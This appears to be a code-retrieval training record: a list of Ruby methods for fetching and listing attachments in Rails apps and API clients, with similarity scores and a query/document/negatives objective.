"def attachments\n Easybill::Api::Attachments\n end",
"def get_attachment(id)\n response = conn.get 'api/files/attachments/' + id\n\n unless response.status == 200\n error_model = JSON.load(response.body)\n mailosaur_error = Mailosaur::MailosaurError.new('Operation returned an invalid status code \\'' + response.status.to_s + '\\'', error_model)\n raise mailosaur_error\n end\n\n response.body\n end",
"def get_email_attachments\n\t\tresp = @resp\n\n\t\tparams[\"email\"] ||= \"\"\n\t\tparams[\"password\"] ||= \"\"\n\n\t\t# Authorize and process attachments in mail account\n\t\tresp = Resume.gmail_attachments(resp, params)\n\n\t\trender :json => resp\n end",
"def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attachment }\n end\n end",
"def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attachment }\n end\n end",
"def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attachment }\n end\n end",
"def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attachment }\n end\n end",
"def attachments(*params)\n id = params[0]\n unnamed = params[1]\n if params[0].class == Hash\n params = params[0]\n id = params[:id] if params.has_key? :id\n unnamed = params[:unnamed] if params.has_key? :unnamed\n end\n unnamed = false if unnamed.to_s == \"0\"\n id = $~[1] if id =~ /ticket\\/(\\d+)/\n resp = @site[\"ticket/#{id}/attachments\"].get\n resp.gsub!(/RT\\/\\d+\\.\\d+\\.\\d+\\s\\d{3}\\s.*\\n\\n/,\"\") # toss the HTTP response\n resp.gsub!(/^\\n/m,\"\") # toss blank lines\n while resp.match(/CF\\.\\{[\\w_ ]*[ ]+[\\w ]*\\}/) #replace CF spaces with underscores\n resp.gsub!(/CF\\.\\{([\\w_ ]*)([ ]+)([\\w ]*)\\}/, 'CF.{\\1_\\3}')\n end\n th = response_to_h(resp)\n list = []\n pattern = /(\\d+:\\s.*?\\))(?:,|$)/\n match = pattern.match(th['attachments'].to_s)\n while match != nil\n list.push match[0]\n s = match.post_match\n match = pattern.match(s)\n end\n attachments = []\n list.each do |v|\n attachment = {}\n m=v.match(/(\\d+):\\s+(.*?)\\s+\\((.*?)\\s+\\/\\s+(.*?)\\)/)\n if m.class == MatchData\n next if m[2] == \"(Unnamed)\" and !unnamed\n attachment[:id] = m[1]\n attachment[:name] = m[2]\n attachment[:type] = m[3]\n attachment[:size] = m[4]\n attachments.push attachment\n end\n end\n attachments\n end",
"def index\n @attachments = Attachment.all\n end",
"def index\n @attachments = Attachment.all\n end",
"def index\n @attachments = Attachment.all\n end",
"def index\n @attachments = Attachment.all\n end",
"def index\n @attachments = Attachment.all\n end",
"def attachments\n @attachments\n end",
"def get_all_attachments(page_id)\n\n url = \"#{@@conf_url}/#{@@urn}/#{page_id}/child/attachment?os_username=#{@@login}&os_password=#{@@pwd}&status=current\"\n\n begin\n atts = RestClient.get url, :content_type => 'application/json', :accept => 'json'\n rescue RestClient::ExceptionWithResponse => e\n puts Nokogiri.XML(e.response)\n nil\n end\n\n unless atts.nil?\n JSON.parse(atts)[\"results\"]\n end\n end",
"def get_issue_attachments(issue_id_or_key)\n get(\"issues/#{issue_id_or_key}/attachments\")\n end",
"def show\n @message_attachment = MessageAttachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message_attachment }\n end\n end",
"def list_attachments\n @artifact_answer = ArtifactAnswer.find(params[:id])\n @attachments = @artifact_answer.attachments\n render layout: false\n end",
"def attachments(message_id, params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Email/#{message_id}/Attachment\", params: params)\n end",
"def get_attachment(name)\n\n unless (model.properties.has_property?(:attachments) &&\n model.properties[:attachments].type == DataMapper::Types::JsonObject &&\n model.properties[:attachments].field == :_attachments)\n raise ArgumentError, \"Attachments require ' property :attachments, JsonObject, :field => :_attachments'\"\n end\n\n unless self.id && self.attachments && self.attachments[name]\n nil\n else\n http = Net::HTTP.new(repository.adapter.uri.host, repository.adapter.uri.port)\n uri = attachment_path(name)\n response, data = http.get(uri, { 'Content-Type' => self.attachments[name]['content_type'] })\n\n unless response.kind_of?(Net::HTTPSuccess)\n nil\n else\n data\n end\n end\n\n end",
"def attachments\n parts.attachments\n end",
"def attachments\n @attachments ||= []\n end",
"def retrieve_attachment(name)\n { :file => RestClient.get(\"#{ uri }/#{ CGI.escape(name) }\"),\n :content_type => JSON.parse(RestClient.get(uri))['_attachments']['name'] }\n end",
"def attachments(params={})\n raise ArgumentError, \"Error: ids or attachment_ids must be set\" unless params[:ids] || params[:attachment_ids]\n rpc_call :attachments, params\n end",
"def get_attachment(*params)\n tid = params[0]\n aid = params[1]\n dir = nil\n dir = params[2] if params.size > 2\n if params[0].class == Hash\n params = params[0]\n tid = params[:ticket] if params.has_key? :ticket\n aid = params[:attachment] if params.has_key? :attachment\n dir = params[:dir] if params.has_key? :dir\n end\n tid = $~[1] if tid =~ /ticket\\/(\\d+)/\n resp = @site[\"ticket/#{tid}/attachments/#{aid}\"].get\n resp.gsub!(/RT\\/\\d+\\.\\d+\\.\\d+\\s\\d{3}\\s.*\\n\\n/,\"\") # toss HTTP response\n while resp.match(/CF\\.\\{[\\w_ ]*[ ]+[\\w ]*\\}/) #replace CF spaces with underscores\n resp.gsub!(/CF\\.\\{([\\w_ ]*)([ ]+)([\\w ]*)\\}/, 'CF.{\\1_\\3}')\n end\n headers = response_to_h(resp)\n reply = {}\n headers.each do |k,v|\n reply[\"#{k}\"] = v.to_s\n end\n content = resp.match(/Content:\\s+(.*)/m)[1]\n content.gsub!(/\\n\\s{9}/,\"\\n\") # strip leading spaces on each line\n content.chomp!\n content.chomp!\n content.chomp! # 3 carriage returns at the end\n if (RUBY_VERSION.to_f >= 1.9)\n binary = content.encode(\"ISO-8859-1\",\"UTF-8\", { :invalid => :replace, :undef => :replace })\n else\n binary = Iconv.conv(\"ISO-8859-1\",\"UTF-8\",content) # convert encoding\n end\n if dir\n fh = File.new(\"#{dir}/#{headers['Filename'].to_s}\",\"wb\")\n fh.write binary\n fh.close\n else\n reply[\"content\"] = binary\n end\n reply\n end",
"def show\n @attachments = @document.attachments\n respond_to do |format|\n format.html\n format.js\n end\n end",
"def attachments\n load_object\n load_attachments\n render layout: false\n end",
"def attachments\n if attachment_ids\n attachment_ids.map {|id| Attachment.find(id)}\n else\n []\n end\n end",
"def get_attachment(attachment_id)\n params = {'key' => @api_key}\n RestClient.get(\"#{@base_uri}/attachment/#{attachment_id}\", {:params => params}).body\n end",
"def attachments\n @_message.attachments\n end",
"def attachments\n return @attachments\n end",
"def attachments\n return @attachments\n end",
"def attachments\n return @attachments\n end",
"def index\n @post_attachments = PostAttachment.all\n end",
"def index\n @post_attachments = PostAttachment.all\n end",
"def show\n @attachment_datum = AttachmentDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attachment_datum }\n end\n end",
"def getAttachment(attachmentId)\n params = Hash.new\n params['key'] = @API_KEY\n response = RestClient.get(@BASE_URI + '/attachment/' + attachmentId, {:params => params})\n return response.body\n end",
"def index\n @attachments = @pad.attachments\n @attachment = @pad.attachments.new\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @attachments }\n end\n end",
"def get(\n id,\n deadline: nil\n )\n return @account_attachments.get(\n id,\n deadline: deadline,\n )\n end",
"def get_attachments()\n\t\t\n\t\tmessages = list_of_messages()\n\n\t\t#Initializing Nested Hash so that we can store message_id, file_name and attachemnt id\n\t\tfiles= Hash.new { |l, k| l[k] = Hash.new(&l.default_proc) }\n\t\tmessages.each do |message_id|\n\t\t\n\t\t\t#Create a new request\n\t\t\trequest_url = \"https://www.googleapis.com/gmail/v1/users/#{@email}/messages/#{message_id}?access_token=#{@access_token}\"\n\n\t\t\t#GET REQUEST\n\t\t\tresponse = RestClient.get request_url\n\t\t\tresponse_body = JSON.parse(response.body)\n\n\t\t\t#Getting list of attachments based on message id\n\t\t\ttemp = response_body['payload']['parts']\n\t\t\ttemp.each do |item|\n\t\t\t\tif item['filename'] !=''\n\t\t\t\t\tfiles[message_id][item['filename']]=item['body']['attachmentId']\n\t\t\t\tend\n\t\t\tend \n\t\tend\n\t\treturn files\n\tend",
"def index\n @cms_attachments = Cms::Attachment.all\n end",
"def get_attachment(name)\n assert_attachments_property\n\n attachment = self.attachments[name] if self.attachments\n\n unless self.id && attachment\n nil\n else\n adapter = repository.adapter\n http = Net::HTTP.new(adapter.uri.host, adapter.uri.port)\n uri = Addressable::URI.encode_component(attachment_path(name))\n response, data = http.get(uri, 'Content-Type' => attachment['content_type'])\n\n unless response.kind_of?(Net::HTTPSuccess)\n nil\n else\n data\n end\n end\n\n end",
"def get_document_attachments(name, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_document_attachments_with_http_info(name, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_document_attachments_with_http_info(name, opts)\n else\n raise\n end\n return data\n end",
"def retrieveImages\n posting = Posting.find(params[:id])\n post_attachments = posting.post_attachments.all\n respond_to do |format|\n format.json { render json: {\n status: 'ok',\n rowcount: post_attachments.length,\n results: post_attachments.map { |b| {\n id: b.id,\n imageData: b.image,\n description: b.description\n }}\n }}\n end\n end",
"def get_file_attachments_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: NotesApi#get_file_attachments ...\"\n end\n \n # verify the required parameter 'id' is set\n fail \"Missing the required parameter 'id' when calling get_file_attachments\" if id.nil?\n \n # resource path\n path = \"/Notes/{id}/FileAttachments\".sub('{format}','json').sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'updated_after_utc'] = opts[:'updated_after_utc'] if opts[:'updated_after_utc']\n query_params[:'skip'] = opts[:'skip'] if opts[:'skip']\n query_params[:'top'] = opts[:'top'] if opts[:'top']\n query_params[:'count_total'] = opts[:'count_total'] if opts[:'count_total']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<APIFileAttachment>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: NotesApi#get_file_attachments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def attachment( document_id, attachment_id )\n new( :id => document_id ).attachments.get!( attachment_id )\n end",
"def list_attachments_with_http_info(identifier, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AlertApi.list_attachments ...\"\n end\n # verify the required parameter 'identifier' is set\n if @api_client.config.client_side_validation && identifier.nil?\n fail ArgumentError, \"Missing the required parameter 'identifier' when calling AlertApi.list_attachments\"\n end\n if @api_client.config.client_side_validation && opts[:'alert_identifier_type'] && !['id', 'alias', 'tiny'].include?(opts[:'alert_identifier_type'])\n fail ArgumentError, 'invalid value for \"alert_identifier_type\", must be one of id, alias, tiny'\n end\n # resource path\n local_var_path = \"/v2/alerts/{identifier}/attachments\".sub('{' + 'identifier' + '}', identifier.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'alertIdentifierType'] = opts[:'alert_identifier_type'] if !opts[:'alert_identifier_type'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['GenieKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ListAlertAttachmentsResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AlertApi#list_attachments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def attachments\n process_message_body if !@attachments\n @attachments\n end",
"def show\n @meeting = Meeting.find(params[:id])\n @json_from_file = 0\n for file in @meeting.file.attachments\n if file.content_type == 'application/json'\n download_file_from_s3('smartmeetingsbelieving', \"./tmp/\" + file.filename.to_s(), file.filename.to_s())\n @json_from_file = File.read(\"tmp/\" + file.filename.to_s())\n end\n end\n end",
"def fetch_attachment(document_id, attachment_name)\n server.get(\"#{name}/#{CGI.escape(document_id)}/#{CGI.escape(attachment_name)}\", :no_json => true)\n end",
"def attachments\n @attachments ||= begin\n return message.attachments unless message.attachments.empty?\n if full_text_part.nil? && full_html_part.nil?\n [ message ]\n else\n []\n end\n end\n end",
"def attachments\n @attachments ||= ActiveStorage::Attachment.where(record_gid: record.to_gid.to_s, name: name)\n end",
"def index\n @user_attachments = UserAttachment.all\n end",
"def list_attachments(identifier, opts = {})\n data, _status_code, _headers = list_attachments_with_http_info(identifier, opts)\n return data\n end",
"def show\n @post_attachments = @post.post_attachments.all\n end",
"def show\n @post_attachments = @post.post_attachments.all\n end",
"def attachments\n mail&.attachments || []\n end",
"def show\n # These are expected and required by the file_handler route: \"file_attachments/:content_type/:parent_id/:id\"\n id = params[:id]\n parent_id = params[:parent_id]\n \n case params[:content_type]\n when \"PrivateMessage\" \n # Only users involved in PM conversations can view attachments\n file_attachment = PrivateMessage.with_recipients.with_user(session[:user_id]).with_attachments.find(parent_id).file_attachments.find(id)\n when \"NewsArticle\"\n file_attachment = NewsArticle.include_attachments.find(parent_id).file_attachments.find(id)\n else \n end\n \n # Sanitize path to ensure that the path is not pointing anywhere malicious on the server \n path = file_attachment.attachment.path\n raise MissingFile, \"Couldn't read #{file_attachment.attachment_file_name}\" unless\n File.readable?(path) and\n File.file?(path)\n \n send_file file_attachment.attachment.path, :type => file_attachment.attachment_content_type\n end",
"def index\n @file_attachments = FileAttachment.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @file_attachments }\n end\n end",
"def get_document_attachments_with_http_info(name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PdfApi.get_document_attachments ...\"\n end\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling PdfApi.get_document_attachments\"\n end\n # resource path\n local_var_path = \"/pdf/{name}/attachments\".sub('{' + 'name' + '}', name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'storage'] = opts[:'storage'] if !opts[:'storage'].nil?\n query_params[:'folder'] = opts[:'folder'] if !opts[:'folder'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n # Fix header in file\n post_body = nil\n\n # http body (model)\n # Fix header in file\n # post_body = nil\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AttachmentsResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PdfApi#get_document_attachments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def attachment_get\n c_user = current_user()\n course = Course.where(id: params[:course_id]).first()\n\n # Course not found case\n if course.nil?\n return ( render status: 404, json: { result: \"Course Not Found\" } )\n end\n\n # Course found case\n if params[:type] == \"Document\"\n attache = Document.where(id: params[:attach_id], attachable_id: course.id).first()\n elsif params[:type] == \"Embed\"\n attache = Embed.where(id: params[:attach_id], attachable_id: course.id).first()\n end\n\n # Attachment not found case\n if attache.nil?\n return ( render status: 404, json: { result: \"Attachable Not Found\" } )\n end\n\n # Public case:\n if course.visibility == Visibility.published \n render status: 200, json: { result: attache}\n\n # Authenticated case:\n elsif logged_in? # Ensure that the user is logged in\n # Checks IF user is privledged or owns the course, ELSE return unauthorized\n if c_user.role == Role.admin or c_user.role == Role.moderator or\n c_user.id == course.user_id then\n render status: 200, json: { result: attache }\n else\n render status: 401, json: { result: \"Not Authorized\" }\n end\n\n # Course is not (public) AND (owned by user and editable) AND (user is not privledged)\n else\n render status: 401, json: { result: \"Not Authorized\" }\n end\n end",
"def show\n @attachment = @page.attachments.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @attachment.to_xml }\n end\n end",
"def show\n email = Gmailer.gmail.inbox.find(:all).find {|e| e.msg_id == @message.message_id.to_i } #convert due to wrong type\n @attachments = email ? email.message.attachments : []\n end",
"def index\n @pub_attachments = PubAttachment.all\n end",
"def attachment(name)\n name = name.to_s\n return attachments[name][:file] if @attachments.try(:[], :name).try(:[], :file)\n begin\n result = retrieve_attachment(name)\n @attachments = (@attachments || {}).merge(name => {:file => result[:file], :dirty => false, :content_type => result[:content_type]})\n result[:file]\n rescue RestClient::ResourceNotFound\n nil\n end\n end",
"def index\n @embedded_attachments = EmbeddedAttachment.page params[:page]\n end",
"def index\n @link_attachments = LinkAttachment.all\n end",
"def index\n @note_attachments = NoteAttachment.all\n end",
"def show\n @attached_asset = AttachedAsset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attached_asset }\n end\n end",
"def get_file_attachments_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: EmailsApi#get_file_attachments ...\"\n end\n \n # verify the required parameter 'id' is set\n fail \"Missing the required parameter 'id' when calling get_file_attachments\" if id.nil?\n \n # resource path\n local_var_path = \"/Emails/{id}/FileAttachments\".sub('{format}','json').sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'updated_after_utc'] = opts[:'updated_after_utc'] if opts[:'updated_after_utc']\n query_params[:'skip'] = opts[:'skip'] if opts[:'skip']\n query_params[:'top'] = opts[:'top'] if opts[:'top']\n query_params[:'count_total'] = opts[:'count_total'] if opts[:'count_total']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<InlineResponse2002>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EmailsApi#get_file_attachments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n @pattachment = Pattachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pattachment }\n end\n end",
"def index\n @file_upload_attachments = FileUploadAttachment.all\n end",
"def get(\n id,\n deadline: nil\n )\n req = V1::AccountAttachmentGetRequest.new()\n if not @parent.snapshot_time.nil?\n req.meta = V1::GetRequestMetadata.new()\n req.meta.snapshot_at = @parent.snapshot_time\n end\n\n req.id = (id)\n tries = 0\n plumbing_response = nil\n loop do\n begin\n plumbing_response = @stub.get(req, metadata: @parent.get_metadata(\"AccountAttachments.Get\", req), deadline: deadline)\n rescue => exception\n if (@parent.shouldRetry(tries, exception))\n tries + +@parent.jitterSleep(tries)\n next\n end\n raise Plumbing::convert_error_to_porcelain(exception)\n end\n break\n end\n\n resp = AccountAttachmentGetResponse.new()\n resp.account_attachment = Plumbing::convert_account_attachment_to_porcelain(plumbing_response.account_attachment)\n resp.meta = Plumbing::convert_get_response_metadata_to_porcelain(plumbing_response.meta)\n resp.rate_limit = Plumbing::convert_rate_limit_metadata_to_porcelain(plumbing_response.rate_limit)\n resp\n end",
"def show\n @cause_analyasis = CauseAnalysis.find(params[:id])\n @attachment = @cause_analyasis.attachment\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cause_analyasis }\n end\n end",
"def index\n @order_attachments = OrderAttachment.all\n end",
"def get_attachment(db, locale, version, attachment_name, ttl=settings.long_ttl)\n id = get_topic_or_image_id(locale, version, attachment_name)\n return get_from_db_or_cache(db, id, {:trx => CouchDBTransaction::FETCH_ATTACHMENT, :attachment_name => attachment_name}, ttl)\n end",
"def index\n @gallery_attachments = GalleryAttachment.all\n end",
"def show\n @file_upload_attachments = @file_upload.file_upload_attachments.all\n end",
"def attachments\n @attachments ||= Attachments.new( self )\n end",
"def show\n @ticket_attachments = @ticket.ticket_attachments.all\n end",
"def get_file_attachments_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LeadsApi#get_file_attachments ...\"\n end\n \n # verify the required parameter 'id' is set\n fail \"Missing the required parameter 'id' when calling get_file_attachments\" if id.nil?\n \n # resource path\n path = \"/Leads/{id}/FileAttachments\".sub('{format}','json').sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'updated_after_utc'] = opts[:'updated_after_utc'] if opts[:'updated_after_utc']\n query_params[:'skip'] = opts[:'skip'] if opts[:'skip']\n query_params[:'top'] = opts[:'top'] if opts[:'top']\n query_params[:'count_total'] = opts[:'count_total'] if opts[:'count_total']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<APIFileAttachment>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LeadsApi#get_file_attachments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n @record_id = params[:id]\n\n # run the where clause globally\n @relevant_record = Record.find(@record_id)\n @relevant_attachments = RecordAttachment.where(record_id: @record_id).order(\"id\")\n\n # make the record attachments an array if it isn't already \n if @relevant_attachments.length > 1\n @record_attachments = @relevant_attachments\n else \n @record_attachments = [@relevant_attachments[0]]\n end\n\n respond_to do |format|\n format.html {}\n format.json { render json: {\n record: @relevant_record, \n attachments: @record_attachments,\n }.to_json }\n end\n end",
"def index\n @travel_post_attachments = TravelPostAttachment.all\n end",
"def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end",
"def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end",
"def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end",
"def attachments\n (msg['attachments']||{}).map{|attached| Mandrill::WebHook::Attachment[attached.last] }\n end",
"def test_ListBugAttachments\n\t\tcolName = 'attachments'\n\t\tretClass = LeanTesting::BugAttachment\n\t\tresp = rcol(colName, ['_id', '_owner_id', 'url', 'created_at'])\n\t\t@client.debugReturn = {'data'=> JSON.generate(resp), 'status'=> 200}\n\n\t\tcol = LeanTesting::Bug.new(@client, {'id'=> 0}).attachments.all\n\n\t\tassert_equal resp[colName], col.toArray\n\t\tassert_instance_of retClass, col.collection[0]\n\t\tassert_equal resp['meta']['pagination']['total'], col.total\n\t\tassert_equal resp['meta']['pagination']['total_pages'], col.totalPages\n\t\tassert_equal resp['meta']['pagination']['count'], col.count\n\tend",
"def mandrill_attachments\n attachments.map do |attachment|\n {\n 'type' => attachment.content_type,\n 'name' => attachment.filename,\n 'content' => Base64.encode64(attachment.body.decoded)\n }\n end\n end",
"def index\n @event_attachments = EventAttachment.all\n end",
"def index\n @design_image_attachments = DesignImageAttachment.all\n end",
"def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attachment }\n end\n end",
"def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attachment }\n end\n end",
"def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attachment }\n end\n end",
"def client_attachments\n self.messages.where(location_submitted: Message::CLIENT_EMAIL_LOCATIONS).collect { |message| message.attachments }.flatten\n end",
"def index\n @code_solution_attachments = CodeSolutionAttachment.all\n end",
"def find_attachment(resource_id, attachment_id)\n http.get(\"#{attachment_endpoint(resource_id)}/#{attachment_id}\") do |response|\n Rexpense::Entities::Attachment.new response.parsed_body\n end\n end",
"def get_attachment\n @document = EcoDocument.find(params[:id])\n send_data(@document.data,\n :filename => @document.name,\n :type => @document.content_type,\n :disposition => \"inline\")\n end"
] |
[
"0.7475036",
"0.7475036",
"0.7219272",
"0.7218139",
"0.72067606",
"0.7203128",
"0.7203128",
"0.7203128",
"0.7203128",
"0.7187078",
"0.71577555",
"0.71577555",
"0.71577555",
"0.71577555",
"0.71577555",
"0.7101302",
"0.7087153",
"0.70859534",
"0.70809966",
"0.7067069",
"0.7044941",
"0.6974182",
"0.6934534",
"0.6915728",
"0.6859555",
"0.6841584",
"0.68336284",
"0.6813257",
"0.6803211",
"0.67831296",
"0.67447114",
"0.67441785",
"0.67422134",
"0.67422134",
"0.67422134",
"0.6711804",
"0.6711804",
"0.67076254",
"0.6699036",
"0.6673793",
"0.66734964",
"0.6670717",
"0.6669373",
"0.6668828",
"0.66393286",
"0.663547",
"0.6612226",
"0.6610143",
"0.6579428",
"0.6569426",
"0.65692466",
"0.6568812",
"0.6539002",
"0.65386945",
"0.653828",
"0.6505969",
"0.64862674",
"0.64862674",
"0.6486018",
"0.64787436",
"0.6472493",
"0.64643395",
"0.64643",
"0.64588964",
"0.64464396",
"0.6444612",
"0.6444596",
"0.64241236",
"0.6416789",
"0.6410403",
"0.63883686",
"0.6387893",
"0.6351931",
"0.6327238",
"0.6323617",
"0.630149",
"0.62917084",
"0.628213",
"0.62812275",
"0.62740344",
"0.6270491",
"0.6270372",
"0.62648445",
"0.6238376",
"0.6238089",
"0.6236201",
"0.6236201",
"0.62351465",
"0.62322044",
"0.62239623",
"0.62235874",
"0.620757",
"0.62061095",
"0.62014365",
"0.62014365",
"0.62014365",
"0.62008375",
"0.61980444",
"0.61945295",
"0.6192143"
] |
0.7403629
|
2
|
GET /attachments/1 GET /attachments/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_attachment(id)\n response = conn.get 'api/files/attachments/' + id\n\n unless response.status == 200\n error_model = JSON.load(response.body)\n mailosaur_error = Mailosaur::MailosaurError.new('Operation returned an invalid status code \\'' + response.status.to_s + '\\'', error_model)\n raise mailosaur_error\n end\n\n response.body\n end",
"def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attachment }\n end\n end",
"def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attachment }\n end\n end",
"def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attachment }\n end\n end",
"def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attachment }\n end\n end",
"def show\n @message_attachment = MessageAttachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message_attachment }\n end\n end",
"def index\n @channel = Channel.find_by_name(params[:channel_id])\n @attachments = @channel.attachments.order(\"created_at DESC\")\n\n respond_to do |format|\n format.json { render :json => @attachments.to_json(:methods => :url) }\n end\n end",
"def get_attachment(name)\n\n unless (model.properties.has_property?(:attachments) &&\n model.properties[:attachments].type == DataMapper::Types::JsonObject &&\n model.properties[:attachments].field == :_attachments)\n raise ArgumentError, \"Attachments require ' property :attachments, JsonObject, :field => :_attachments'\"\n end\n\n unless self.id && self.attachments && self.attachments[name]\n nil\n else\n http = Net::HTTP.new(repository.adapter.uri.host, repository.adapter.uri.port)\n uri = attachment_path(name)\n response, data = http.get(uri, { 'Content-Type' => self.attachments[name]['content_type'] })\n\n unless response.kind_of?(Net::HTTPSuccess)\n nil\n else\n data\n end\n end\n\n end",
"def index\n @attachments = Attachment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @attachments }\n end\n end",
"def index\n @attachments = Attachment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @attachments }\n end\n end",
"def retrieve_attachment(name)\n { :file => RestClient.get(\"#{ uri }/#{ CGI.escape(name) }\"),\n :content_type => JSON.parse(RestClient.get(uri))['_attachments']['name'] }\n end",
